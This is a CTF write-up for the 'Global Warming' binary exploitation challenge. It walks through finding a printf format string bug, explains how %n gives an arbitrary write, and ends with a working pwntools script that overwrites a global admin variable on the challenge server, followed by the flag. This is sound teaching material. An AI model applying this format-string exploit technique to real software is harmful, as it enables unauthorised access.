Global Warming

Greta Thunberg 1 Administration 0

Analysis

This was a different type of binary exploitation challenge. First, check the protections.

Much like the others. Let's run it.

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

main is very simple - takes in input (using a secure fgets(), explaining why there was no BoF) and passes the input to the login() function.

Input it printed back to us, as we saw, with printf. This causes the format string. The interesting part is it checks the global admin variable before printing the flag.

Clearly, we have to overwrite the admin variable somehow. To do this, we're going to have to leverage the format string %n specifier for an arbitrary write.

%n takes a pointer to a signed int, where the number of characters written so far is stored. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it where to write the data. As we can control the input, we can tell it how much. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call %n. We can even use other fancy format string specifiers to shorten it enough,

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)

• LiveOverflow - Format String with %n

• Format String Vulnerability

There are plenty more resources online.

Exploitation

Luckily for us, pwntools contains a feature to automate %n exploitation.

You should understand how the exploit works before you use tools to do it for you.

The pwntools module is fmtstr_payload, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())

Flag: csictf{n0_5tr1ng5_@tt@ch3d}